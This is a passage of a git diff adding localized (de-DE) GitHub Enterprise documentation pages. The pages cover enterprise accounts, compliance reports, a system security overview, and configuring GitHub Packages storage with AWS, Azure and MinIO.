+Informationen zum Upgrade deines Unternehmens auf eine neue Release findest du unter [Versionshinweise](/enterprise-server/admin/release-notes) und [Upgrade von {% data variables.product.prodname_ghe_server %}](/admin/enterprise-management/upgrading-github-enterprise-server). Da du nur ein Upgrade von einem Featurerelease durchführen kannst, die maximal zwei Releases älter ist, verwende den [{% data variables.enterprise.upgrade_assistant %}](https://support.github.com/enterprise/server-upgrade), um den Upgradepfad deiner aktuellen Releaseversion zu finden.
+
+{% endif %}
+
+## Weitere Informationsquellen
+
+- [ {% data variables.product.prodname_roadmap %} ]( {% data variables.product.prodname_roadmap_link %} ) im `github/roadmap`-Repository{% ifversion ghae %}
+- [Versionshinweise zu {% data variables.product.prodname_ghe_managed %}](/admin/release-notes) {% endif %}
diff --git a/translations/de-DE/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md b/translations/de-DE/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md
new file mode 100644
index 0000000000..6d6309a2b6
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/accessing-compliance-reports-for-your-enterprise.md
@@ -0,0 +1,36 @@
+---
+title: Zugriff auf Complianceberichte für dein Unternehmen
+intro: 'Du kannst für dein Unternehmen auf {% data variables.product.company_short %} Complianceberichte wie unsere SOC-Berichte und die Cloud Security Alliance CAIQ-Selbsteinschätzung (CSA CAIQ) zugreifen.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Enterprise
+  - Fundamentals
+permissions: Enterprise owners can access compliance reports for the enterprise.
+shortTitle: Access compliance reports
+ms.openlocfilehash: d9391e9bb029620ee9c034a5ad3092588e914c36
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: '148008148'
+---
+## Informationen zum Formularschema von {% data variables.product.company_short %}
+
+Du kannst in deinen Unternehmenseinstellungen auf Complianceberichte von {% data variables.product.company_short %} zugreifen.
+
+{% data reusables.security.compliance-report-list %}
+
+## Zugriff auf Complianceberichte für dein Unternehmen
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.enterprise-accounts-compliance-tab %}
+1. Klicke unter „Ressourcen“ rechts neben dem Bericht, auf den du zugreifen möchtest, auf {% octicon "download" aria-label="The Download icon" %} **Herunterladen** oder {% octicon "link-external" aria-label="The external link icon" %} **Anzeigen**.
+
+   {% data reusables.security.compliance-report-screenshot %}
+
+## Weitere Informationsquellen
+
+- [Zugriff auf Complianceberichte für deine Organisation](/organizations/keeping-your-organization-secure/managing-security-settings-for-your-organization/accessing-compliance-reports-for-your-organization) {% ifversion enterprise-member-csv %}
+- [Exportieren von Mitgliedschaftsinformationen für dein Unternehmen](/admin/user-management/managing-users-in-your-enterprise/exporting-membership-information-for-your-enterprise){% endif %}
diff --git a/translations/de-DE/content/admin/overview/creating-an-enterprise-account.md b/translations/de-DE/content/admin/overview/creating-an-enterprise-account.md
new file mode 100644
index 0000000000..981d6f67e1
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/creating-an-enterprise-account.md
@@ -0,0 +1,62 @@
+---
+title: Erstellen eines Unternehmenskontos
+intro: 'Wenn du {% data variables.product.prodname_ghe_cloud %} derzeit mit einer einzelnen Organisation verwendest, kannst du ein Unternehmenskonto erstellen, um mehrere Organisationen zentral zu verwalten.'
+versions:
+  ghec: '*'
+type: how_to
+topics:
+  - Accounts
+  - Enterprise
+  - Fundamentals
+permissions: Organization owners can create an enterprise account.
+shortTitle: Create enterprise account
+ms.openlocfilehash: a264a5a1ca3e7461c8e05fc02e93064737d79940
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: '147573401'
+---
+## Informationen zur Erstellung von Unternehmenskonten
+
+{% data variables.product.prodname_ghe_cloud %} enthält die Option zum Erstellen eines Unternehmenskontos, das die Zusammenarbeit zwischen mehreren Organisationen ermöglicht und Administratoren einen zentralen Punkt für Sichtbarkeit und Verwaltung bietet. Weitere Informationen findest du unter [Informationen zu Unternehmenskonten](/admin/overview/about-enterprise-accounts).
+
+{% data reusables.enterprise.create-an-enterprise-account %} Wenn du per Rechnung bezahlst, kannst du ein Unternehmenskonto auf {% data variables.product.prodname_dotcom %} selbst erstellen. Wenn nicht, kannst du [dich an unser Vertriebsteam wenden](https://github.com/enterprise/contact?ref_page=/pricing&ref_cta=Contact%20Sales&ref_loc=cards), um ein Unternehmenskonto für dich erstellen zu lassen.
+
+In {% data variables.product.prodname_ghe_cloud %} ist ein Unternehmenskonto eingeschlossen. Die Erstellung eines Unternehmenskontos führt nicht zu zusätzlichen Gebühren auf deiner Rechnung.
+
+Wenn du ein Unternehmenskonto erstellst, das deine vorhandene Organisation auf {% data variables.product.product_name %} besitzt, bleiben die Ressourcen der Organisation für Mitglieder unter denselben URLs zugänglich. Nachdem du dem Unternehmenskonto deine Organisation hinzugefügt hast, gelten die folgenden Änderungen für die Organisation.
+
+- Deine vorhandene Organisation ist automatisch im Besitz des Unternehmenskontos.
+- {% data variables.product.company_short %} berechnet das Unternehmenskonto für die Nutzung innerhalb aller Organisationen im Besitz des Unternehmens. Die aktuellen Abrechnungsdetails der Organisation, einschließlich deren E-Mail-Adresse für die Abrechnung, werden Rechnungsdetails des neuen Unternehmenskontos. Weitere Informationen findest du unter [Informationen zur Abrechnung für ein Unternehmen](/billing/managing-billing-for-your-github-account/about-billing-for-your-enterprise).
+- Alle aktuellen Besitzer*innen deiner Organisation werden Besitzer*innen des Unternehmenskontos, und alle aktuellen Abrechnungsmanager*innen der Organisation werden Abrechnungsmanager*innen des neuen Unternehmenskontos. Weitere Informationen findest du unter [Rollen in einem Unternehmen](/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise).
+
+Weitere Informationen zu den Änderungen, die für eine Organisation gelten, nachdem du ihr ein Unternehmen hinzugefügt hast, findest du unter [Hinzufügen von Organisationen zu deinem Unternehmen](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#about-addition-of-organizations-to-your-enterprise-account).
+
+## Erstellen eines Unternehmenskontos auf {% data variables.product.prodname_dotcom %}
+
+Zum Erstellen eines Unternehmenskontos muss deine Organisation {% data variables.product.prodname_ghe_cloud %} verwenden.
+
+Wenn du per Rechnung zahlst, kannst du direkt über {% data variables.product.prodname_dotcom %} ein Unternehmenskonto erstellen. Wenn du derzeit nicht per Rechnung zahlst, kannst du [dich an unser Vertriebsteam wenden](https://github.com/enterprise/contact?ref_page=/pricing&ref_cta=Contact%20Sales&ref_loc=cards), um ein Unternehmenskonto für dich erstellen zu lassen.
+
+
+{% data reusables.organizations.billing-settings %}
+1. Klicke auf **Auf Unternehmenskonto aktualisieren**.
+
+   ![Screenshot der Schaltfläche „Upgrade to enterprise account“ (Auf Unternehmenskonto aktualisieren)](/assets/images/help/business-accounts/upgrade-to-enterprise-account.png)
+1. Gib unter „Unternehmensname“ einen Namen für dein Unternehmenskonto ein.
+
+   ![Screenshot des Felds „Enterprise name“ (Unternehmensname)](/assets/images/help/business-accounts/enterprise-name-field.png)
+1. Gib unter „Unternehmens-URL-Slug“ einen Slug für dein Unternehmenskonto ein. Dieser Slug wird in der URL deines Unternehmens verwendet. Wenn du z. B. `octo-enterprise` auswählest, lautet die URL für dein Unternehmen `https://github.com/enterprises/octo-enterprise`.
+
+   ![Screenshot des Felds „Enterprise URL slug“ (Unternehmens-URL-Slug)](/assets/images/help/business-accounts/enterprise-slug-field.png)
+1. Klicke auf **Bestätigen und aktualisieren**.
+
+   ![Screenshot der Schaltfläche „Confirm and upgrade“ (Bestätigen und aktualisieren)](/assets/images/help/business-accounts/confirm-and-upgrade-button.png)
+1. Lies die Warnungen, und klicke auf **Unternehmenskonto erstellen**.
+
+   ![Screenshot der Schaltfläche „Create enterprise account“ (Unternehmenskonto erstellen)](/assets/images/help/business-accounts/create-enterprise-account-button.png)
+
+## Nächste Schritte
+
+Nachdem dein Unternehmenskonto erstellt wurde, empfehlen wir, dass du dich genauer darüber informierst, wie Unternehmenskonten funktionieren, und dass du Einstellungen und Richtlinien konfigurierst. Weitere Informationen hierzu findest du im Lernpfad [Erste Schritte mit deinem Unternehmenskonto](/admin/guides#get-started-with-your-enterprise-account).
diff --git a/translations/de-DE/content/admin/overview/index.md b/translations/de-DE/content/admin/overview/index.md
new file mode 100644
index 0000000000..73eea2e26b
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/index.md
@@ -0,0 +1,29 @@
+---
+title: Übersicht
+intro: 'Hier findest du Informationen zu {% data variables.product.product_name %} und zur Verwaltung der{% ifversion ghes %} Konten und des Zugriffs, der Lizenzen und{% endif %} Abrechnung.'
+redirect_from:
+  - /enterprise/admin/overview
+versions:
+  ghec: '*'
+  ghes: '*'
+  ghae: '*'
+children:
+  - /about-github-for-enterprises
+  - /about-github-enterprise-server
+  - /about-github-ae
+  - /about-upgrades-to-new-releases
+  - /about-data-residency
+  - /about-enterprise-accounts
+  - /system-overview
+  - /about-the-github-enterprise-api
+  - /best-practices-for-enterprises
+  - /creating-an-enterprise-account
+  - /accessing-compliance-reports-for-your-enterprise
+ms.openlocfilehash: f0322eef087f09b029051fc08ac61bc4e529d6dc
+ms.sourcegitcommit: 0a6e3eee6eea9b1e445aea1e4461d64cf6b63218
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: '148163563'
+---
+Weitere Informationen, auch zum Kauf von {% data variables.product.prodname_enterprise %}, findest du unter [{% data variables.product.prodname_enterprise %}](https://github.com/enterprise).
diff --git a/translations/de-DE/content/admin/overview/system-overview.md b/translations/de-DE/content/admin/overview/system-overview.md
new file mode 100644
index 0000000000..c1e59ff959
--- /dev/null
+++ b/translations/de-DE/content/admin/overview/system-overview.md
@@ -0,0 +1,167 @@
+---
+title: System overview
+intro: 'Learn more about {% data variables.product.product_name %}''s system internals, functionality, and security.'
+redirect_from:
+  - /enterprise/admin/installation/system-overview
+  - /enterprise/admin/overview/system-overview
+versions:
+  ghes: '*'
+type: overview
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Security
+  - Storage
+---
+
+## About {% data variables.product.product_name %}
+
+{% data reusables.enterprise.ghes-is-a-self-hosted-platform %} {% data reusables.enterprise.github-distributes-ghes %} For more information, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server)."
+
+## Storage architecture
+
+{% data variables.product.product_name %} requires two storage volumes, one mounted to the *root filesystem* path (`/`) and the other to the *user filesystem* path (`/data/user`). This architecture simplifies the upgrade, rollback, and recovery procedures by separating the running software environment from persistent application data.
+
+The root filesystem is included in the distributed machine image. It contains the base operating system and the {% data variables.product.product_name %} application environment. The root filesystem should be treated as ephemeral. Any data on the root filesystem will be replaced when upgrading to future {% data variables.product.product_name %} releases.
+
+The root storage volume is split into two equally-sized partitions. One of the partitions will be mounted as the root filesystem (`/`). The other partition is only mounted during upgrades and rollbacks of upgrades as `/mnt/upgrade`, to facilitate easier rollbacks if necessary. For example, if a 200GB root volume is allocated, there will be 100GB allocated to the root filesystem and 100GB reserved for the upgrades and rollbacks.
+
+The root filesystem contains files that store the following information. This list is not exhaustive.
+
+- Custom certificate authority (CA) certificates (in `/usr/local/share/ca-certificates*`)
+- Custom networking configurations
+- Custom firewall configurations
+- The replication state
+
+The user filesystem contains files that store following configuration and data. This list is not exhaustive.
+
+- Git repositories
+- Databases
+- Search indexes
+- Content published on {% data variables.product.prodname_pages %} sites
+- Large files from {% data variables.large_files.product_name_long %}
+- Pre-receive hook environments
+
+## Deployment topologies
+
+You can deploy {% data variables.product.product_name %} in a variety of topologies, such as a high availability pair. For more information, see "[About {% data variables.product.prodname_ghe_server %}](/admin/overview/about-github-enterprise-server#about-deployment-topologies)."
+
+## Data retention and datacenter redundancy
+
+{% warning %}
+
+**Warning**: Before using {% data variables.product.product_name %} in a production environment, we strongly recommend you set up backups and a disaster recovery plan.
+
+{% endwarning %}
+
+{% data variables.product.product_name %} includes support for online and incremental backups with {% data variables.product.prodname_enterprise_backup_utilities %}. You can take incremental snapshots over a secure network link (the SSH administrative port) over long distances for off-site or geographically dispersed storage. You can restore snapshots over the network into a newly provisioned instance at time of recovery in case of disaster at the primary datacenter.
+
+In addition to network backups, both AWS (EBS) and VMware disk snapshots of the user storage volumes are supported while the instance is offline or in maintenance mode. Regular volume snapshots can be used as a low-cost, low-complexity alternative to network backups with {% data variables.product.prodname_enterprise_backup_utilities %} if your service level requirements allow for regular offline maintenance.
+
+For more information, see "[Configuring backups on your appliance](/admin/configuration/configuring-your-enterprise/configuring-backups-on-your-appliance)."
+
+## Security
+
+{% data reusables.enterprise.ghes-runs-on-your-infrastructure %}
+
+{% data variables.product.product_name %} also includes additional security features.
+
+- [Operating system, software, and patches](#operating-system-software-and-patches)
+- [Network security](#network-security)
+- [Application security](#application-security)
+- [External services and support access](#external-services-and-support-access)
+- [Encrypted communication](#encrypted-communication)
+- [Users and access permissions](#users-and-access-permissions)
+- [Authentication](#authentication)
+- [Audit and access logging](#audit-and-access-logging)
+
+### Operating system, software, and patches
+
+{% data variables.product.product_name %} runs a customized Linux operating system with only the necessary applications and services. {% data variables.product.company_short %} distributes patches for the instance's core operating system as part of its standard product release cycle. Patches address functionality, stability, and non-critical security issues for {% data variables.product.product_name %}. {% data variables.product.company_short %} also provides critical security patches as needed outside of the regular release cycle.
+
+{% data variables.product.product_name %} is provided as an appliance, and many of the operating system packages are modified compared to the usual Debian distribution. We do not support modifying the underlying operating system for this reason (including operating system upgrades), which is aligned with the [{% data variables.product.prodname_ghe_server %} license and support agreement](https://enterprise.github.com/license), under section 11.3 Exclusions.
+
+Currently, the base operating system for {% data variables.product.product_name %} is Debian 9 (Stretch), which receives support under the Debian Long Term Support program.  There are plans to move to a newer base operating system before the end of the Debian LTS period for Stretch.
+
+Regular patch updates are released on the {% data variables.product.product_name %} [releases](https://enterprise.github.com/releases) page, and the [release notes](/admin/release-notes) page provides more information. These patches typically contain upstream vendor and project security patches after they've been tested and quality approved by our engineering team. There can be a slight time delay from when the upstream update is released to when it's tested and bundled in an upcoming {% data variables.product.product_name %} patch release.
+
+### Network security
+
+{% data variables.product.product_name %}'s internal firewall restricts network access to the instance's services. Only services necessary for the appliance to function are available over the network. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports)."
+
+### Application security
+
+{% data variables.product.company_short %}'s application security team focuses full-time on vulnerability assessment, penetration testing, and code review for {% data variables.product.company_short %} products, including {% data variables.product.product_name %}. {% data variables.product.company_short %} also contracts with outside security firms to provide point-in-time security assessments of {% data variables.product.company_short %} products.
+
+### External services and support access
+
+{% data variables.product.product_name %} can operate without any egress access from your network to outside services. You can optionally enable integration with external services for email delivery, external monitoring, and log forwarding. For more information, see "[Configuring email for notifications](/admin/configuration/configuring-your-enterprise/configuring-email-for-notifications)," "[Setting up external monitoring](/admin/enterprise-management/monitoring-your-appliance/setting-up-external-monitoring)," and "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."
+
+You can manually collect and send troubleshooting data to {% data variables.contact.github_support %}. For more information, see "[Providing data to {% data variables.contact.github_support %}](/support/contacting-github-support/providing-data-to-github-support)."
+
+### Encrypted communication
+
+{% data variables.product.company_short %} designs {% data variables.product.product_name %} to run behind your corporate firewall. To secure communication over the wire, we encourage you to enable Transport Layer Security (TLS). {% data variables.product.product_name %} supports 2048-bit and higher commercial TLS certificates for HTTPS traffic. For more information, see "[Configuring TLS](/admin/configuration/configuring-network-settings/configuring-tls)."
+
+By default, the instance also offers Secure Shell (SSH) access for both repository access using Git and administrative purposes. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
+
+{% ifversion ghes > 3.3 %}
+
+If you configure SAML authentication for {% data variables.location.product_location %}, you can enable encrypted assertions between the instance and your SAML IdP. For more information, see "[Using SAML](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-saml#enabling-encrypted-assertions)."
+
+{% endif %}
+
+### Users and access permissions
+
+{% data variables.product.product_name %} provides three types of accounts.
+
+- The `admin` Linux user account has controlled access to the underlying operating system, including direct filesystem and database access. A small set of trusted administrators should have access to this account, which they can access over SSH. For more information, see "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
+- User accounts in the instance's web application have full access to their own data and any data that other users or organizations explicitly grant.
+- Site administrators in the instance's web application are user accounts that can manage high-level web application and instance settings, user and organization account settings, and repository data.
+
+For more information about {% data variables.product.product_name %}'s user permissions, see "[Access permissions on {% data variables.product.prodname_dotcom %}](/get-started/learning-about-github/access-permissions-on-github)."
+
+### Authentication
+
+{% data variables.product.product_name %} provides four authentication methods.
+
+- SSH public key authentication provides both repository access using Git and administrative shell access. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)" and "[Accessing the administrative shell (SSH)](/admin/configuration/configuring-your-enterprise/accessing-the-administrative-shell-ssh)."
+- Username and password authentication with HTTP cookies provides web application access and session management, with optional two-factor authentication (2FA). For more information, see "[Using built-in authentication](/admin/identity-and-access-management/authenticating-users-for-your-github-enterprise-server-instance/using-built-in-authentication)."
+- External LDAP, SAML, or CAS authentication using an LDAP service, SAML Identity Provider (IdP), or other compatible service provides access to the web application. For more information, see "[Managing IAM for your enterprise](/admin/identity-and-access-management/managing-iam-for-your-enterprise)."
+- OAuth and {% data variables.product.pat_generic %}s provide access to Git repository data and APIs for both external clients and services. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)."
+
+### Audit and access logging
+
+{% data variables.product.product_name %} stores both traditional operating system and application logs. The application also writes detailed auditing and security logs, which {% data variables.product.product_name %} stores permanently. You can forward both types of logs in real time to multiple destinations via the `syslog-ng` protocol. For more information, see "[About the audit log for your enterprise](/admin/monitoring-activity-in-your-enterprise/reviewing-audit-logs-for-your-enterprise/about-the-audit-log-for-your-enterprise)" and "[Log forwarding](/admin/monitoring-activity-in-your-enterprise/exploring-user-activity/log-forwarding)."
+
+Access and audit logs include information like the following.
+
+#### Access logs
+
+- Full web server logs for both browser and API access
+- Full logs for access to repository data over Git, HTTPS, and SSH protocols
+- Administrative access logs over HTTPS and SSH
+
+#### Audit logs
+
+- User logins, password resets, 2FA requests, email setting changes, and changes to authorized applications and APIs
+- Site administrator actions, such as unlocking user accounts and repositories
+- Repository push events, access grants, transfers, and renames
+- Organization membership changes, including team creation and destruction
+
+## Open source dependencies for {% data variables.product.product_name %}
+
+You can see a complete list of dependencies in your instance's version of {% data variables.product.product_name %}, as well as each project's license, at `http(s)://HOSTNAME/site/credits`.
+
+Tarballs with a full list of dependencies and associated metadata are available on your instance.
+
+- For dependencies common to all platforms, at `/usr/local/share/enterprise/dependencies-<GHE version>-base.tar.gz`
+- For dependencies specific to a platform, at `/usr/local/share/enterprise/dependencies-<GHE version>-<platform>.tar.gz`
+
+Tarballs are also available, with a full list of dependencies and metadata, at `https://enterprise.github.com/releases/<version>/download.html`.
+
+## Further reading
+
+- "[Setting up a trial of {% data variables.product.prodname_ghe_server %}](/get-started/signing-up-for-github/setting-up-a-trial-of-github-enterprise-server)"
+- "[Setting up a {% data variables.product.prodname_ghe_server %} instance](/admin/installation/setting-up-a-github-enterprise-server-instance)"
diff --git a/translations/de-DE/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md b/translations/de-DE/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
new file mode 100644
index 0000000000..c9c2c4b54c
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/configuring-package-ecosystem-support-for-your-enterprise.md
@@ -0,0 +1,54 @@
+---
+title: Configuring package ecosystem support for your enterprise
+intro: 'You can configure {% data variables.product.prodname_registry %} for your enterprise by globally enabling or disabling individual package ecosystems on your enterprise, including {% ifversion ghes > 3.4 %}{% data variables.product.prodname_container_registry %}, {% endif %}Docker, and npm. Learn about other configuration requirements to support specific package ecosystems.'
+redirect_from:
+  - /enterprise/admin/packages/configuring-packages-support-for-your-enterprise
+  - /admin/packages/configuring-packages-support-for-your-enterprise
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Packages
+shortTitle: Configure package ecosystems
+---
+
+{% data reusables.package_registry.packages-ghes-release-stage %}
+
+## Enabling or disabling individual package ecosystems
+
+To prevent new packages from being uploaded, you can set an ecosystem you previously enabled to **Read-Only**, while still allowing existing packages to be downloaded.
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_site_admin_settings.packages-tab %}
+1. Under "Ecosystem Toggles", for each package type, select **Enabled**, **Read-Only**, or **Disabled**.
+   {%- ifversion ghes > 3.4 %}{% note -%}
+   **Note**: Subdomain isolation must be enabled to toggle the {% data variables.product.prodname_container_registry %} options.
+   {%- endnote %}{%- endif %}{%- ifversion ghes %}
+  ![Ecosystem toggles](/assets/images/enterprise/site-admin-settings/ecosystem-toggles.png){% else %}
+  ![Ecosystem toggles](/assets/images/enterprise/3.1/site-admin-settings/ecosystem-toggles.png){% endif %}
+{% data reusables.enterprise_management_console.save-settings %}
+
+{% ifversion ghes %}
+## Connecting to the official npm registry
+
+If you've enabled npm packages on your enterprise and want to allow access to the official npm registry as well as the {% data variables.product.prodname_registry %} npm registry, then you must perform some additional configuration.
+
+{% data variables.product.prodname_registry %} uses a transparent proxy for network traffic that connects to the official npm registry at `registry.npmjs.com`. The proxy is enabled by default and cannot be disabled.
+
+To allow network connections to the npm registry, you will need to configure network ACLs that allow {% data variables.product.prodname_ghe_server %} to send HTTPS traffic to `registry.npmjs.com`  over port 443:
+
+| Source | Destination | Port | Type |
+|---|---|---|---|
+| {% data variables.product.prodname_ghe_server %} | `registry.npmjs.com` | TCP/443 | HTTPS |
+
+Note that connections to `registry.npmjs.com` traverse through the Cloudflare network, and subsequently do not connect to a single static IP address; instead, a connection is made to an IP address within the CIDR ranges listed here: https://www.cloudflare.com/ips/.
+
+If you wish to enable npm upstream sources, select `Enabled` for `npm upstreaming`.
+
+{% endif %}
+
+## Next steps
+
+As a next step, we recommend you check if you need to update or upload a TLS certificate for your packages host URL. For more information, see "[Getting started with GitHub Packages for your enterprise](/admin/packages/getting-started-with-github-packages-for-your-enterprise)."
diff --git a/translations/de-DE/content/admin/packages/enabling-github-packages-with-aws.md b/translations/de-DE/content/admin/packages/enabling-github-packages-with-aws.md
new file mode 100644
index 0000000000..a60407369d
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/enabling-github-packages-with-aws.md
@@ -0,0 +1,61 @@
+---
+title: Enabling GitHub Packages with AWS
+intro: 'Set up {% data variables.product.prodname_registry %} with AWS as your external storage.'
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Administrator
+  - Enterprise
+  - Packages
+  - Packages
+shortTitle: Enable Packages with AWS
+---
+
+{% warning %}
+
+**Warnings:**
+- It is critical that you configure any restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible to the public internet. For more information, see "[Setting bucket and object access permissions](https://docs.aws.amazon.com/AmazonS3/latest/user-guide/set-permissions.html)" in the AWS Documentation.
+- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage.
+- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}.
+
+{% endwarning %}
+
+## Prerequisites
+
+Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your AWS storage bucket. To prepare your AWS storage bucket, we recommend consulting the official AWS docs at [AWS Documentation](https://docs.aws.amazon.com/index.html).
+
+Ensure your AWS access key ID and secret have the following permissions:
+  - `s3:PutObject`
+  - `s3:GetObject`
+  - `s3:ListBucketMultipartUploads`
+  - `s3:ListMultipartUploadParts`
+  - `s3:AbortMultipartUpload`
+  - `s3:DeleteObject`
+  - `s3:ListBucket`
+
+## Enabling {% data variables.product.prodname_registry %} with AWS external storage
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_site_admin_settings.packages-tab %}
+{% data reusables.package_registry.enable-enterprise-github-packages %}
+
+{% ifversion ghes %}
+1. Under "Packages Storage", select **Amazon S3** and enter your storage bucket's details:
+    - **AWS Service URL:** The service URL for your bucket. For example, if your S3 bucket was created in the `us-west-2 region`, this value should be `https://s3.us-west-2.amazonaws.com`.
+
+      For more information, see "[AWS service endpoints](https://docs.aws.amazon.com/general/latest/gr/rande.html)" in the AWS documentation.
+
+    - **AWS S3 Bucket:** The name of your S3 bucket dedicated to {% data variables.product.prodname_registry %}.
+    - **AWS S3 Access Key** and **AWS S3 Secret Key**: The AWS access key ID and secret key to access your bucket.
+
+      For more information on managing AWS access keys, see the "[AWS Identity and Access Management Documentation](https://docs.aws.amazon.com/iam/index.html)."
+
+    ![Entry boxes for your S3 AWS bucket's details](/assets/images/help/package-registry/s3-aws-storage-bucket-details.png)
+{% endif %}
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Next steps
+
+{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %}
diff --git a/translations/de-DE/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md b/translations/de-DE/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md
new file mode 100644
index 0000000000..a1a74dd1f4
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/enabling-github-packages-with-azure-blob-storage.md
@@ -0,0 +1,47 @@
+---
+title: Enabling GitHub Packages with Azure Blob Storage
+intro: 'Set up {% data variables.product.prodname_registry %} with Azure Blob Storage as your external storage.'
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Enterprise
+  - Packages
+  - Storage
+shortTitle: Enable Packages with Azure
+---
+
+{% warning %}
+
+**Warnings:**
+- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet.
+- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage.
+- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}.
+
+{% endwarning %}
+
+## Prerequisites
+
+Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your Azure Blob storage bucket. To prepare your Azure Blob storage bucket, we recommend consulting the official Azure Blob storage docs at the official [Azure Blob Storage documentation site](https://docs.microsoft.com/en-us/azure/storage/blobs/).
+
+## Enabling {% data variables.product.prodname_registry %} with Azure Blob Storage
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_site_admin_settings.packages-tab %}
+{% data reusables.package_registry.enable-enterprise-github-packages %}
+1. Under "Packages Storage", select **Azure Blob Storage** and enter your Azure container name for your packages storage bucket and connection string.
+  ![Azure Blob storage container name and connection string boxes](/assets/images/help/package-registry/azure-blob-storage-settings.png)
+
+  {% note %}
+
+  **Note:** You can find your Azure Connection String by navigating to the Access Key menu in your Azure storage account. 
+  Usage of a SAS Token or SAS URL as connection string is not currently supported.
+  
+  {% endnote %}
+
+{% data reusables.enterprise_management_console.save-settings %}
+
+## Next steps
+
+{% data reusables.package_registry.next-steps-for-packages-enterprise-setup %}
diff --git a/translations/de-DE/content/admin/packages/enabling-github-packages-with-minio.md b/translations/de-DE/content/admin/packages/enabling-github-packages-with-minio.md
new file mode 100644
index 0000000000..0fa9b47390
--- /dev/null
+++ b/translations/de-DE/content/admin/packages/enabling-github-packages-with-minio.md
@@ -0,0 +1,58 @@
+---
+title: Enabling GitHub Packages with MinIO
+intro: 'Set up {% data variables.product.prodname_registry %} with MinIO as your external storage.'
+versions:
+  ghes: '*'
+type: tutorial
+topics:
+  - Enterprise
+  - Packages
+  - Storage
+shortTitle: Enable Packages with MinIO
+---
+
+{% warning %}
+
+**Warnings:**
+- It is critical that you set the restrictive access policies you need for your storage bucket, because {% data variables.product.company_short %} does not apply specific object permissions or additional access control lists (ACLs) to your storage bucket configuration. For example, if you make your bucket public, data in the bucket will be accessible on the public internet.
+- We recommend using a dedicated bucket for {% data variables.product.prodname_registry %}, separate from the bucket you use for {% data variables.product.prodname_actions %} storage.
+- Make sure to configure the bucket you'll want to use in the future. We do not recommend changing your storage after you start using {% data variables.product.prodname_registry %}.
+
+{% endwarning %}
+
+## Prerequisites
+
+Before you can enable and configure {% data variables.product.prodname_registry %} on {% data variables.location.product_location_enterprise %}, you need to prepare your MinIO storage bucket. To help you quickly set up a MinIO bucket and navigate MinIO's customization options, see the "[Quickstart for configuring your MinIO storage bucket for {% data variables.product.prodname_registry %}](/admin/packages/quickstart-for-configuring-your-minio-storage-bucket-for-github-packages)."
+
+Ensure your MinIO external storage access key ID and secret have these permissions:
+  - `s3:PutObject`
+  - `s3:GetObject`
+  - `s3:ListBucketMultipartUploads`
+  - `s3:ListMultipartUploadParts`
+  - `s3:AbortMultipartUpload`
+  - `s3:DeleteObject`
+  - `s3:ListBucket`
+
+## Enabling {% data variables.product.prodname_registry %} with MinIO external storage
+
